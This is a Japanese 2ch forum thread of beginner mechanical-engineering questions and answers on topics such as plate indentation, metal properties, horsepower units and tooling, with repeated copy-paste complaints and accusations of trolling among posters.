【機械】の質問スレッドはここだ！11

《 機械 》に関する質問はここに書こう。質問スレ立ては禁止

　(1) 電気・電子関係の質問は『電気・電子＠2ch掲示板』へ
　　　初心者質問スレ　その9
http://science3.2ch.net/test/read.cgi/denki/1113042147/l50
　(2) 材料関係の質問は『材料物性＠2ch掲示板』へ
　　　スレを立てるまでも無い質問
http://science3.2ch.net/test/read.cgi/material/1015840021/l50
　(3) 関連スレがある場合、質問はそちらへ(#2以降のリンク参照)
　(4) 回答の有無、品質は保証されません。結果の活用は自己責任で
　(5) 回答には時間が掛かることがあります。気長にお待ちください
　(6) 検索結果への直リンは、やめてください。
回答として適切と思われるＵＲＬをリンクしましょう
　(7) 荒らしは放置でお願いします。かまうとスレが荒れてしまいます

□□□　有意義なスレにするため、御協力をお願い致します　□□□

☆過去スレ
初心者のための質問スレッド
http://makimo.to/2ch/mentai_kikai/974/974246611.html
初心者のための質問スレッド（２）　
http://makimo.to/2ch/mentai_kikai/1009/1009476981.html
【機械】の質問スレッドはここだ！�V
http://makimo.to/2ch/science_kikai/1020/1020024951.html
【機械】の質問スレッドはここだ！�W
http://www.geocities.jp/fjfjasdfgasdfg/shitsumon/k4.htm
【機械】の質問スレッドはここだ！５
http://makimo.to/2ch/science_kikai/1046/1046046995.html
【機械】の質問スレッドはここだ！6
http://makimo.to/2ch/science2_kikai/1059/1059916870.html
【機械】の質問スレッドはここだ！７
http://makimo.to/2ch/science2_kikai/1073/1073485907.html
【機械】の質問スレッドはここだ！８
http://makimo.to/2ch/science3_kikai/1084/1084302739.html
【機械】の質問スレッドはここだ！９
http://makimo.to/2ch/science3_kikai/1092/1092575383.html

☆関連スレ
【情報・通信工学】超初心者質問スレッド
http://science3.2ch.net/test/read.cgi/kikai/1046703308/
【熱学、力学】質問スレッド
http://science3.2ch.net/test/read.cgi/kikai/1026785082/
凸凹凸凹非球面レンズ・光学系質問スレッド凸凹凸凹
http://science3.2ch.net/test/read.cgi/kikai/1003285227/

>>1
最初に作られていた次期スレッド、

【機械】の質問スレッドはここだ！11　は、不当に削除され、

新たに「１１」が立ったと言うことは、

やはり、この２ちゃんねるは、懸念されたような、

『 特定の人間によって、言論支配された掲示板 だった 』と、

そう理解してよろしいのでしょうか。

だとすれば、そう言う掲示板は、私の好みでないので、

使用を止めることにします。

>>1
最初に作られていた次期スレッド、

【機械】の質問スレッドはここだ！11　は、不当に削除され、

新たに「１１」が立ったと言うことは、

やはり、この２ちゃんねるは、懸念されたような、

『 特定の人間によって、言論支配された掲示板 だった 』と、

そう理解してよろしいのでしょうか。

だとすれば、そう言う掲示板は、私の好みでないので、

使用を止めることにします。

>>1
最初に作られていた次期スレッド、

【機械】の質問スレッドはここだ！11　は、不当に削除され、

新たに「１１」が立ったと言うことは、

やはり、この２ちゃんねるは、懸念されたような、

『 特定の人間によって、言論支配された掲示板 だった 』と、

そう理解してよろしいのでしょうか。

だとすれば、そう言う掲示板は、私の好みでないので、

使用を止めることにします。

>２に追加して

もの凄い勢いで誰かが質問に答えるスレ@理系板@20
http://science3.2ch.net/test/read.cgi/rikei/1110664896/l50

あと、荒らしは無視が嫌い　ということで、
コピペ荒らし　検索荒らし　誤回答荒らし等がこのスレにでますが、無視してください

誤回答荒らしが出ますので回答を鵜呑みにせず、
他の人の回答等も確認しましょう、できれば質問する前に
一度　http://www.google.co.jp/　等で検索を

質問です
油圧式のギアプーラを探しています。φ３００まで掴める２本爪タイプです。
安いものを・・・お願いします。

>質問です
>ギアプーラを探しています

探しています ＝ 質問 なのか？
最近 日本語が不自由な人が多いでつね

>>8
たぶん７は
安いものを探しているのですが見つかりません。以上の用件を満たした製品を購入できるところをおしえてください。

といいたかったんだと思う。頭が悪いし、偏差値も低いからこそこういった質問スレッドに質問に来るのだと思います。
そんなに冷たくする必要はないです。

>7
探しているのは、こんな奴ですか
http://www.supertool.co.jp/catalog/pdf/094.PDF

値段　販売先なんかは直接メーカーに確認された方がいいかと

鋼材に鉄球等を落とすと厚みが厚いほうが凹まないと思うのですが、何故でしょうか？
表面上のくぼみは材料力学の梁のたわみの式とは違うと思うのですが・・・

大学の新３年生ですが、どの分野にいくべきか悩んでおります。

●機械・制御分野
●熱工学
●流体工学
●材料物性
●機械・要素・設計分野　　

おすすめというか、これから明るい分野はどういったものでしょう？

>>12
何処の分野だって成功すれば明るいし挫折すれば喰いっぱぐれる
将来失業して極貧に陥ったとき逃げた女房が残した子供と
ごみ箱の残飯を漁りながら2chなんかで聞いて将来決めてしまった
からなぁと言わないように自分で考えろぬ

>>12
その５種類を将来の仕事に換算すると範囲が広いというか、バラバラなんで
絞りにくいような。その中でも、これが好きとか、ないんですか？
仕事とは長〜い付き合いなので、好きなことの延長線上の方が良いよ。

>>12
マジレスすると
学部の研究室なら
広く浅くやるところがいいよ。

システム系とかロボとか

>11
聞きたいのは　塑性変形のことですか？

すいません。質問するには漠然としすぎてましたね。

今、興味のある研究室は、
・ロボット
・自動車＆システム系
・エンジン＆ガスタービン
・熱機関＆エネルギー系
・ターボ機械　

今はとりあえず、熱工学（エネルギー系）に進もうかなぁと考えています。


>>15
学部レベルなら広く浅く？
機械工学は、材料・熱・設計など多分野を理解する必要があるから、
まんべんなくやるであろうロボやシステム系がいいってことですか？

>>10
情報ありがとうございました。

>>17
機械屋ってのは、なんでも屋である必要があるんだよ。
だから、いろいろと経験したほうがいいってこと。

>>16
そうです。
学校では凹んだ部分は、周囲にせり上がると習ったのですが、
↑だとしたら表面上の話なので厚みは関係無い気がするのですが。

>>20
まず、論点を整理すること。
それから、日本語の書き方も考えること。

で、とりあえず、問いは、下記でいいの？

「鋼板に、鋼球を落としたときの鋼板表面の形状変化について教えてください。
学校では凹んだ部分は、周囲に盛り上がると習いました。
そうだとすると、鋼板の厚みに関係無く、同じ凹みができることになりますが、
私は直感的に、厚肉の鋼板の凹みは、薄肉の鋼板の凹みよりも小さくなると思います。
どなたか、わかりやすく説明していただけませんか？」

問いが上記だとしたときだけど、薄肉と厚肉では、挙動が異なるよ。
周囲に盛り上がるためには、「充分に厚い板で、鋼板の裏側が変形しない」必要があるから。
薄肉だと、裏側に膨らむでしょ？
どっちも塑性変形だけどな。
まぁ、梁のたわみとは違うことは間違いない。アレは弾性変形域の話だから。
ちなみに材料物性は、もうやった？

つーかもう
三次元解析の動画見た方が早いと思うよ。

３次元というと、うちの会社こんなの買っちゃったけれども大丈夫なんだろうか。。。
http://www.keyence.co.jp/microscope/sem/ve_8800/index.jsp

>>21
どうも、ありがとうございます。
もう１つ教えて下さい。
硬さを表面の塑性変形量を測定する方法で測定すると、
という事は厚肉と薄肉では硬さが異なるという事になるのでしょうか。

ロフトにフィレット当てたらCADが落ちるんですが、寝ていいですか？

>>24
HV500でアルミ箔の硬さは計れんじゃろ。抜ける。

>>24
×　硬さが異なる
○　測定に誤差が出る

薄いものは計り難いな。
薄いものは裏に硬い材料を接着してから測定すれば可能かも。

>>24
硬さってさ
なんかをぶつけてどれだけ凹んだかって事で評価するんよ
凹む前にひん曲がったり貫通しちゃったらどーにもならんでしょ。

>>11　＞鋼材に鉄球等を落とすと厚みが厚いほうが凹まない

１．　薄い板厚の場合は、その保持の仕方によって変形の仕方は違う。

　　Ａ．　板だけで下に空間のある支え方だと、板が下に曲がったり大きく凹んだりするはずです。
　　　　　　●
　　　　　　↓
　----------------　←　（薄い材料）
　----------------
　▲　　　↓↓　　　▲　←　（支えている所）

　　Ｂ．　反対に、下に硬い当て板のようなものが存在する支え方だと、
　　　　　板厚にも限度は有りますが、曲がったりもせずに、周囲が盛る変形になるのでしょう。
　　　　　　●
　　　　　　↓
　------＾--＾------　←　（薄い材料）
　----------------
　／／／／／／／／　←
　／／／／／／／／　←　（硬い測定台など）　
　----------------

２．　ぶつけられる速度によっても変形の仕方は異なる。

砲弾が衝突した場合のように、「極端にぶつかる速度の早い場合」には、例え薄い板であっても、
曲がったりと言うような変形に、はならないようですね。

Ｇｏｏｇｌｅグループ　「ＭＢＴの装甲（Re:古いはなしで…）」
http://groups.google.co.jp/groups?hl=ja&lr=&selm=34EFE7E6.F1C220C6%40i.bekkoame.or.jp&rnum=2

>11　鋼材に鉄球等を落とすと　鋼材内部に力が伝わります。応力です。
この応力は一種の波形となって、鋼材内部を伝わります。
弾性波と塑性波と呼ばれます。
弾性波と塑性波は鋼材の表面や、内部に伝播します。
波の性質に従い、表面で屈折し、大気に音として出る分と
表面で反射し内部を伝わる分に別れて、伝播します。

同じ落下速度で同じ重量の場合
反射した波形の伝わり方は、厚みや鋼材の大きさや
鋼材の支持の仕方によって違います。
薄板だと、表面を広く早く伝わるので、広範囲で滑らかにへこみます。
逆に厚板だと、内部を深く伝わり、反対表面で反射し、表面を流れる波は
厚みの影響を受け、減衰しやすいので広範囲なへこみは生じません。

分子レベルでの、この辺の研究は、まだまだ研究途上です。

>28
それ単に、現象を書いているだけ（w

>>29
その文章の書き方と内容で君が誰だか私にはおおよその察しが付いた。（ｗ

>>27
まぁ、引っ掻くっていう手もあるけどな･･･

>>29
難しく考えすぎなのでそのような解答では不合格！！！！です。

>>28
砲弾って･･･
音速（金属のだよ）超えた領域の話は、まだ早かろ（ｗ

>>29
どんなに知識をひけらかそうと質問者の疑問に答えてなければ価値は無し。

以上、無能TAKEの遠吠えでした

　
《　　ＩＰが同じだからと言って同じ人物である確率はそう高くはない　　》　←　本日の言葉（ｗ

>36
TAKE君　遠吠えご苦労さん　←　本日の言葉（ｗ

インターネット質問専用スレpart2
http://pc8.2ch.net/test/read.cgi/internet/1110387237/l50
ＩＰが同じだからと言って同じ人物である確率　←　ここに質問してみたら

>>30　＞　その文章の書き方と内容で君が誰だか私にはおおよその察しが付いた。（ｗ

そんな高尚な記事の書ける人ではなくて、誰かもっともらしい人の書いた説明を、
単に丸写ししてきただけのような気もするが、どうだろうか。

そう言う場合は、細かくその点に付いて突っ込むと、答えられなくなってくるので、
それが自説で無いことはすぐにもバレルけどね。

しかし面倒だから、誰も相手にしないだけのこと。
元々の質問が釣りみたいだし。（爆

>3-5 >26 >28 >32 >34 >36 >38はTAKE

TAKEについては以下で

【Netの寄生虫】ＴＡＫＥを叩くスレ３【ウジ虫】
http://tmp4.2ch.net/test/read.cgi/tubo/1108880979/l50

＞元々の質問が釣りみたいだし。（爆

最近は特に、ここの質問の「９０％」は、その手の質問でしょ。（笑
「>>39」などがその主犯なのでは。

だから、まともな解答をする人を追い出したがるのよ。
これも一種の、既得権を守る行為といえるのかなぁ。

もう末期的な状態と言えますね。
自民党守旧派と似てるかも。（笑

私は自民党守旧派支持者なので中傷的にその表現をすることに懸念の意を表します。

とりあえず箔の硬さを測定って時点で何か間違ってると思う素人でした。

TAKEはかまって君系の荒らしだから
間違っているところを指摘して、後はスルーしましょう

金・銅・鉄・アルミニウム　それぞれについて、
（１）比重の高さ
（２）展性の高さ
（３）導電率の高さ
（４）融点の高さ
について、それぞれ順位を付けるとどうなりますか？
また、これらの機械的性質が載っているサイトなどがありましたら教えてください。
教科書を調べても導電率・展性が分かりませんでした。

>43

ここでそれぞれの金属名を入れて検索すれば、ほぼわかりますが
http://ja.wikipedia.org/wiki/%E3%83%A1%E3%82%A4%E3%83%B3%E3%83%9A%E3%83%BC%E3%82%B8

　
機械工学板の、【 材料 】に関する「初代スレッド」は、↓こちらです。
　　--------------------------------
　　「　≡　【　材料　】の事なら何でも聞いて下さい！　≡　」（現在は過去記事です）
　　　http://science3.2ch.net/test/read.cgi/kikai/1082673107/-100

「物性（材料の性質）に関する事柄」は、↓下のスレッドでお聞きください。
　　--------------------------------
　　「　材料・物性＠2ch掲示板　」　http://science3.2ch.net/material/

「材料の物理的な事柄」なら、↓下の物理板で聞かれた方が、良いでしょう。
　　--------------------------------
　　「　物理＠2ch掲示板　」　http://science3.2ch.net/sci/

高度な問題なら、専門家の常駐されている下の掲示板などを、お勧めします。
　　--------------------------------
　　東京大学大学院 工学系研究科　環境海洋工学専攻 技術職員ネットワーク
　　「　Ｑ＆Ａ （技術的質問と回答）　」
　　http://www.naoe.t.u-tokyo.ac.jp/member/tecnet/qa/index.html

　　
もし、小口（少量）の「金属素材」をお求めなら、↓下のような会社が有ります。
　　--------------------------------
　　「　小口ドットコム　」　http://www.coguchi.com/
　　「　山洞金物店　　　」　http://www.venus.dti.ne.jp/~sando/index.htm
　　「　材料屋．ＣＯＭ　」　http://www.zairyo-ya.com/
　　「　ＮＯＩＳＥ　　　」　http://www.rakuten.co.jp/noise/index.html
　　「　レモン画翠　　　」　http://www.lemon.co.jp/newmokei/mokei_g2.html
　　「　ケイワークス　　」　http://homepage2.nifty.com/K~WORKS/zairyousenntaku.html
　　「　志摩鋼業　　　　」　http://simametals.ddo.jp/itatop.html
　　「 TETSUJIN ON LINE 」　http://www.ms-tj.com/html/sozaihanbai/sozaihanbai.html
　　　　　　　　　　　　　　http://www.ms-tj.com/html/f_seihin.html

　
もし、「加工を頼む会社」をお探しなら、↓下のところなどで一度検索してみてください。
　　--------------------------------
　　「　技術の森　　　」　http://mori.nc-net.or.jp/fMain.php
　　「　エミダス工場検索エンジン　」　http://www.nc-net.or.jp/emidas/
　　「　ＣＣＮＥＴ〜製造業応援サイト　」　http://www.ccnet21.ne.jp/database/search.html
　　「　製造・技術系企業検索　」　http://www.atengineer.com/

もし、「ＤＩＹ的な内容」の質問なら、↓下のところで聞かれるのが良いでしょう。
　　--------------------------------
　　「 《材料》　どこに売ってんの，それ　《DIY》 」　http://that3.2ch.net/test/read.cgi/diy/1055128592/-100
　　「　スレッドをたてるまでもない質問＠DIY板★8　」　http://that3.2ch.net/test/read.cgi/diy/1096923481/-100
　　「　DIY＠2ch掲示板　」　http://that3.2ch.net/diy/subback.html

　
鉄系材料に関する、「役立ちそうなページ」を、↓下に紹介します。
　　--------------------------------
　　「　鋼および(はがね)について　」　http://www.hino.meisei-u.ac.jp/ce/suzuki/sab6_hagane.htm
　　「　2.2.1 金属材料の種類　」　http://www.nmri.go.jp/eng/khirata/design/ch02/ch02_02.html
　　「　鉄と鋼　」　http://www.smn.co.jp/takano/tool.iron.html

　　「　各種物質の性質　金属（固体）　」　http://www.hakko.co.jp/qa/qakit/html/h01020.htm
　　「　機械構造用炭素鋼の成分＆鋼に対する合金元素の作用　」　http://www4.ocn.ne.jp/~katonet/kagaku/tansokou.htm
　　「　『プロの目』から見たステンレスとは？　」　http://homepage1.nifty.com/shincoo/m191zairyou-suten-2.html

　　「　2.JIS耐熱鋼の性質と用途　」　http://www.sanwa-i.co.jp/youto2.html　
　　「　材料について（ＪＩＳで規定された材料記号）　」　http://www.ceres.dti.ne.jp/~b-satou/zairyou.htm
　　「　３．鋼に対する各種含有元素の影響　」　http://www.daiwakg.co.jp/TECHTOK.htm#%82%DD%82%AA%82%AB%93%C1%8E%EA%91%D1%8D|%82%CC%8E%ED%97%DE%82%C6%93%C1%90%AB

>44
ありがとうございました
展性だけが分かりませんでした。
分かる方おりましたら教えてください！

　
　　「　Cr-Mo鋼、Ni鋼、Ni-Cr鋼およびNi-Cr-Mo鋼　」　http://cssjweb.chem.eng.himeji-tech.ac.jp/jcs/v7n4/a15/textj.html
　　「　包丁に使われている材料　」　http://www.masahiro-hamono.com/story/02-1.html
　　「　鋳鉄材料　」　http://www.kikaikaihatu.com/sekkei/zairyou/fc.ttm.htm

　　「　鋳物に使用される金属材料　」　http://www.nbk-okamoto.co.jp/data/d210.htm
　　「　ダクタイル鋳鉄　」　http://www.sanjo.co.jp/tieup/kato/
　　「　第５節　鋳鋼　」　http://www.nbk-okamoto.co.jp/data/d210.htm#S05

　　「　材料（鋳鉄）　」　http://www.nbk-okamoto.co.jp/data/d200.htm
　　「　各種金属材料の機械的性質比較（鋳鉄）　」　http://www7.ocn.ne.jp/~ksworks/shiryo-2.html
　　「　製品材質一覧表（鋳鉄）　」　http://www.cast-sakabe.co.jp/text/zaisitu.htm

　
アルミ系材料に関する、「役立ちそうなページ」を、↓下に紹介します。
　　--------------------------------
　　「　ＪＩＳ規格アルミニウム板化学成分表　」　http://www.materialhouse.co.jp/mh/menu/std/alp.htm
　　「　アルミニウムのミニ知識　」　http://www.atomlt.com/06school/sc04/sc04_05.html
　　「　アルミニウム合金のいろいろ　」　http://www.sankyoalumi.co.jp/us_al/al002.htm

　　「　アルミニウム合金の種類と物性　」　http://www.sunfield.ne.jp/~je1sai/rc/tecinfo/arumi.htm
　　「　アルミニウム合金の種類と特長（展伸用合金）　」　http://lightsaber.cside.com/faq/alumi.htm
　　「　アルミニウム（１）　」　http://www.kyoto-oudou.co.jp/page10-1.htm

　　「　アルミ生産品目　」　http://www.hashinaga.co.jp/alumi_seisan.htm
　　「　アルミニウム合金選定早見表　」　http://www.coguchi.com/data_s/arumi_hayami/index.html

　
その他の材料に関する、「役立ちそうなページ」を、↓下に紹介します。
　　--------------------------------
　　「　技術データ検索　」　http://www.coguchi.com/data_s/
　　「　工業用材料の特性比較（代表値）　」　http://www.coguchi.com/data_s/kogyo/index.html
　　「　金属材料選択の手引き　」　http://www.zairyo-ya.com/zaisen_tbl.htm

　　「　新潟精密ロストワックス基本材質　」　http://www3.ocn.ne.jp/~nic/lostwaxkihonzaisitu.html
　　「　金属素材に関係する技術情報データーベース　」　http://www.materialhouse.co.jp/tech/index-t.html
　　「　めっき関連データ集　」　http://www.tmk.or.jp/data.html

　　「　電気メッキ・無電解メッキの関係　」　http://homepage1.nifty.com/seas/database/surface/surface_top.htm
　　「　各種物質の硬度（モース硬度）　」　http://www.asahi-net.or.jp/~JH3M-FJYM/katasa/katasa.html
　　「　物質の硬度　」　http://www.hosokawamicron.co.jp/line-up/index3/contents/125/main.pdf

>49
金属の展性についてはここの議論を見てもらってのように
ttp://bbs.com.nifty.com/mes/cf_wrentT_m/FCHEM_B038/wr_type=null/wr_page=1/wr_sq=05011421425706029868
明確に数値化されているものではないので、知識として覚えておくものになります。
この辺を参考にしてください
ttp://www1.ai-link.ne.jp/free/learning/kouza/03/answer/answer-p5.htm

>>49　＞展性だけが分かりませんでした。

ウィキペディア　「塑性」
http://ja.wikipedia.org/wiki/%E5%A1%91%E6%80%A7

　　　　金属材料の展性および延性についての明確な定義はないが、実用的には、次のように考えられている。
　　　　金属材料の機械的性質を調べる代表的な方法として、引張試験がある。
　　　　この際、得られる特性値として、次のようなものがある。

　　　　・　強さの指標 - 降伏点、引張強さ
　　　　・　しなやかさの指標 - 伸び、絞り

　　　　格別の規定はないが、「伸び」は延性の、「絞り」は展性の、指標とみなされる事がある。
　　　　
　　　　「伸び」の定義は次の通りである。

　　　　・　引っ張る前の試験片に標点を二つ描き、2標点間の距離 (L0) を測定しておく。
　　　　・　引張破断後に、試験片をつき合わせて、2標点間の距離 (L1) を測定する。
　　　　・　この時、「伸び（単位は％）」は、100×(L1 - L0)/L0　である。

『 展性 』と言う言葉の単位は無く、工業的には、上でも説明されている、【　伸び：単位％　】が使わるようです。

金属材料 伸び データ
http://www.google.co.jp/search?hl=ja&q=%E9%87%91%E5%B1%9E%E6%9D%90%E6%96%99+%E4%BC%B8%E3%81%B3+%E3%83%87%E3%83%BC%E3%82%BF&btnG=Google+%E6%A4%9C%E7%B4%A2&lr=
この辺から、ご自分で一度調べて見てください。

【 追記 】

>>49　＞展性だけが分かりませんでした。
>>54　＞＞　「絞り」は展性の、指標とみなされる事がある。

と言うことからすれば、 『 金属材料 絞り データ 』などの言葉で、検索した方が適切なのですが、
それらのデータ値は、定義はされているものの、ウエブにはほとんど見つからないようです。

会社のノウハウの一部として秘密になっているか、材料の専門書を調べるしか無いのでしょう。

加工機械用の万力ってだいたいいくらくらいするかわかる方教えてください

>>56
サイズにもよるけど
3000円〜

>>56
一般用で数千円、精密用で数万円、と言うところか。

マシンバイス 価格
http://www.google.co.jp/search?q=%E3%83%9E%E3%82%B7%E3%83%B3%E3%83%90%E3%82%A4%E3%82%B9+%E4%BE%A1%E6%A0%BC&hl=ja&lr=lang_ja&start=10&sa=N

>>58　←　のアドレスは２ページ目だったので、下のアドレスで最初から見てください。

マシンバイス 価格
http://www.google.co.jp/search?q=%E3%83%9E%E3%82%B7%E3%83%B3%E3%83%90%E3%82%A4%E3%82%B9+%E4%BE%A1%E6%A0%BC&btnG=Google+%E6%A4%9C%E7%B4%A2&hl=ja

質問でございます。
クラッチモーターの単位でございますが、
ＨとＰが合体したような文字が使われていたのでございますが、
何と読めばよろしいのでございますか？

>60
「horse power 馬力」　のことですか
かっこ悪いのでずっと英語でエイチピーなんて読まずに
馬力と読んできたが　どうなんだろうか

>>60
むしろエッチなポイントですよ。

>>60　＞ＨとＰが合体したような文字が使われていたのでございますが、

馬力の記号では。？　（　但しこの単位は、現在は使われておりません。）

物理単位一覧
http://ja.wikipedia.org/wiki/%E8%A8%88%E9%87%8F%E5%8D%98%E4%BD%8D
　　・　馬力

　　　　 ・英馬力：1 HP = 0.746 kW = 76.07 kgf・m/s = 1.014 PS
　　 　　・仏馬力：1 PS = 0.7355 kW = 75 kgf・m/s

>>2　＞初心者のための質問スレッド（２）　
http://makimo.to/2ch/mentai_kikai/1009/1009476981.html

上のスレッドの、３０６番〜３１０番を読めば、なぜ２種類有るのかなど、歴史的経緯も、
一応は説明されていますが、この考え方が正しいと言う保障まではないようです。

レスポンスありがとうでございます。
よくわからないような、たぶんわかったような感じでございますので、
たぶんわかったと思う所存でございます。

そうでございますか。それは大変良かったでございます。

機械設計を始めたのですが、仮想点がよく分かりません。どなたか教えてください

ちょっと混乱したので確認。
電子ばかりが100[g]を示したら、
地球上では約0.100[kgf]の力が働いているということですよね？

高校生で研究できる空想科学的なテーマってありますか？
教えてください！！

>>66
平行四辺形とか台形を押しつぶすと弧を描いて潰れるでしょ。
辺の上に適当に点打ってその軌跡描いたら曲線ができるから、
その曲線の中心が仮想点（瞬間中心とか回転中心とかって言い方もする）

>>67
そりゃそーだ。
押した力のぶんだけ表示されるんだし。

>>67
現在はＳＩ単位に変更したため、「力」の単位は、ニュートンを使うのが正しい。
よって、０．９８［Ｎ］です。

>>69, 70
どうもです。一桁ずれてちと悩んだ。

あっそうだったのか 67 の質問は重力加速度がテーマかと思った。
そして 70 の答えかと、桁違いだった。

>>67
地球上の引力は遠心力と相殺され場所により
一定はしないぞ
なので地球上でなく「その場所」では

なぁなぁ、ぽまいら、目の前の機械は、
テーパーピンでカムを固定してるんだけど、
そのテーパーピンを引き抜き、カムを取り外したいんだけど、
どっちが先端か分かるけ？

自分の持っているモーターが、ＤＣモーターかＡＣモーターか知りたいです。
分解すると壊れそうなので、分解せずに分かりますか？
どの部分を見て判断しますか？

>>67　＞　電子ばかりが100[g]を示したら、地球上では約0.100[kgf]の力が働いている

「その量りの構造により異なる」としか、言えないのですが、電子量りの９９％は、
「ｋｇｆ」の「力」を量る方式だと思われますので、そう考えても間違いは無いのでしょう。

量りの単位は「ｋｇ」で、建前上は「質量」を量ることになっているわけですが、
実際には、ばねなどの変位量で、「力」を計る構造に作られています。

これとは違う原理の量りとしては、「天秤（てんびん）量り」と言う形式があり、
この場合は、「釣合い用の重り」を使いますので、例えば、地球とは引力の異なる、
「月」に持っていっても、正しく質量が量れます。

紛らわしいものとしては、「電子天秤」と言う製品があり、１ｇ以下の精密な重さも、
測定できる製品も売られていますが、今回調べてみたところ、天秤方式では無く、
やはりこの製品も、「力」を量っているようですね。

電子天秤の構造と動作原理
http://www1.kcn.ne.jp/~cbc-chyo/genri.htm
http://www1.kcn.ne.jp/~cbc-chyo/indexj.html

>>75
細い方から叩けば、取り外せるはず。
釣りかな。ｗ

>>75
大抵は、モーターの外側に、書かれているはず。
これも釣りか？。ｗ

>>68
（　工学板　）の質問としては、何か漠然としすぎですねぇ〜。

下の掲示板などで聞けば、参加者も多くて、回答も直ぐにたくさ〜ん来ますよん。

ＯＫ Ｗｅｂ　「TOP > 教育 > 科学」
http://okweb.jp/oshiete.php3?c=390

>>68
「ＯＫＷｅサイト」の反応が悪い場合は、下のところなどから行って下さい。

「 TOP > カテゴリー一覧 」
http://okweb.jp/list.php3
http://okweb.jp/

>>75　参考まで（小型のケース）
・ブラシらしき物があればDC　・モーター部から出ている線が偶数本ならDC
・コンデンサ付属はAC　　　　・タコジェネ付属ならDC

＊整流子モーターはAC・DCとも言える

質問です。
臨界剪断応力とはどういったものなのでしょうか？
剪断応力とは違うのでしょうか？

剪断応力は単なる応力の定義
↑↓こんな風に並行にすれ違うように作用する応力ね。
キュウリかじるみたいな。

で、臨界剪断応力は
キュウリを噛み切った時の応力の値。

　
自作自演、ますます、ガンガレーーー。

>>78
書かれてねぇＹＯ

ｱﾌｫな質問ですいません・・・
法線ピッチってなんなんでしょうか？(;´д`)

>>86

KHK Web Catalog
http://www.khkgears.co.jp/

歯車技術情報
歯車入門編
歯車中級編
歯車資料編

でも彷徨ってみてみ

教えて下さい。

バネに物を落とすと、
静かにおいても、上から落としても、
最終的には力の釣り合いが取れる位置で止まると思うのですが、
ゴムでも同じと考えて良いのでしょうか？

>>88
違う。例えば剣山を逆さにしてゴムの上にそっと置くのと、上から
落とすのとでは結果が違う。後者の方は刺さる。

>>89
ありがとうございます。
例えば弾性変位域内だったら同じでしょうか？

各社の小型モーターのラベルを見まくってみると、ある変な記号が使われていることに気がつきました。
逆三角形の中に郵便番号の記号（〒）が組み合わさったマークです。
このマークの後ろに記号が続いているのですが、このマークは何を表しているのでしょうか？

>>90
ゴムはクリープするので、時間が経つと次第に変形していきますョ。

>>92
それを言ったら金属だって。

>>93
鉛ですか？(ﾌﾟｹﾞﾗ

>>94
金とか

　
ほとんどここが、【　釣り質問ばかり　】であることの、証明。　（その１）

このスレッドを読んで居られる、多くの読者の皆さまに、下の結果を良く見て頂きたいのです。
----------------------

　　> >49　＞分かる方おりましたら教えてください！
　　> >56　＞だいたいいくらくらいするかわかる方教えてください
　　> >60　＞何と読めばよろしいのでございますか？
　　> >66　＞どなたか教えてください
　　> >67　＞約0.100[kgf]の力が働いているということですよね？
　　> >68　＞空想科学的なテーマってありますか？
　　> >74　＞どっちが先端か分かるけ？
　　> >75　＞どの部分を見て判断しますか？
　　> >82　＞剪断応力とは違うのでしょうか？
　　> >86　＞法線ピッチってなんなんでしょうか？
　　> >88　＞ゴムでも同じと考えて良いのでしょうか？
　　> >90　＞例えば弾性変位域内だったら同じでしょうか？
　　> >91　＞このマークは何を表しているのでしょうか？

----------------------
上のリストは、このスレッドに極最近でた質問内容の、末尾の文章を抜き出したものですが、
一定の特徴の有る書き方が異様に多いのに、早速気が付かれた方も居られると思います。

すなわち、質問の最後の句読点に、「。記号」が使われたものは一つも無いと言う事実です。
これは、全部が全部とまでは言えませんが、確率的に考えても、偶然の一致だとは考え難く、
かなりの頻度で、【　同一人物が繰り返し質問を行っている証拠　】と、考えている理由です。

　
ほとんどここが、【　釣り質問ばかり　】であることの、証明。　（その２）

なぜ、そのようなことが確信を持って言えるかと言えば、一度、他の板の質問スレッドへ行き、
今回のような句読点の使い方をする、特徴的な文章を探して見れば、それが皆無なことから、
これらのことは、充分に証明できるわけです。

「 スレッドをたてるまでもない質問＠DIY板★10 」　
http://that3.2ch.net/test/read.cgi/diy/1113835696/-100

例えば上のスレッドと比較して読めば、偏った句読点の、変な文が無いのがすぐに判ります。
ここは不特定多数の方の参加が多く、釣り質問も皆無とは言えませんが、工学板と比べても、
かなり少ないと思われますので、比較して見るには良いスレッドと言えるでしょう。

確率的に何らかの不正を見抜く方法は、ガモフ著作の「１・２・３・無限大」と言う本に出てくる、
【　パンの焼き型を小さく作り儲けるパン屋の話　】が、とても面白いですが、まあ釣り質問も、
科学や数学の知識さえ少し有れば、！ペテンも完璧にバレル！、と言う事なのでしょう。

今回の話は、「北朝鮮からの遺骨を他人のだと見抜いた件」と、どこか似ていません。？？

それは兎も角、なぜこのような「 特定の個人による独演会的状態 」に、なってしまったのか、
と言う問題と、これを放置しておけば、工学板が寂れることは必死なので、どう対処するのか、
と言うことですが、何か良い方法は有りますでしょうか。

ちなみに私は、とっくの昔に、もう完全に諦めているんですけどね。
少し寂しい（（（　笑い　）））。

（（（　笑い　）））あげ。

>>97
＞偏った句読点の、変な文

そりゃあんたの事だ

　
＞　事だ　←　（またしても、「。記号」な〜し。）ｗｗｗｗｗｗｗｗｗｗｗ

>91
型式認可マークのことですか
http://www.kyuden.co.jp/life_living_safe_safe2

モーターの質問は電気板の
初心者質問スレ　その9
http://science3.2ch.net/test/read.cgi/denki/1113042147/l50
のほうがいいと思われ

>96>97はＴＡＫＥ
ここは2ｃｈ　そう思うんだったら回答しなければいいだけ

　
＞　いいだけ　←　（またしても、「。記号」な〜し。）
釣り質問だけでは飽き足らず、解答も、同一人物とは。

しかし感心するほど、２ちゃんねるには、暇な人間が居るもんじゃのう。。

製図の問題なんですが、「いんろう」って何なんでしょうか‥
すきまの一種のようですが今一つ分かりません
どうかどなたか御指南いただけませんか

>>103
二つの部品を組み合わせる時に組み立て易いようにする目的やズレない様に
する為にオスメス状や土手を作ることを言います。
黄門様との関係は知りませんHi

>>103
http://www.mol.ne.jp/lecture/mold/017/

>>103 ＞　御指南いただけませんか　←　（またしても、「。記号」な〜し。）w

>>104 ＞　 黄門様との関係は知りません　←　（またしても、「。記号」な〜し。）w

ありがとうございます！！マジで助かりました！

>>1

最初に作られていた次期スレッド、

【機械】の質問スレッドはここだ！11　は、不当に削除され、

新たに「１１」が立ったと言うことは、

やはり、この２ちゃんねるは、懸念されたような、

『 特定の人間によって、言論支配された掲示板 だった 』と、

そう理解してよろしいのでしょうか。

だとすれば、そう言う掲示板は、私の好みでないので、

使用を止めることにします。

>>101
ＴＡＫＥ って何？

逆三角形の中に郵便番号の記号（〒）が組み合わさったマークを、
誰かご存知ないでしょうか？

あああ、見落としてました。

>>101さん回答どうもありがとうございます。

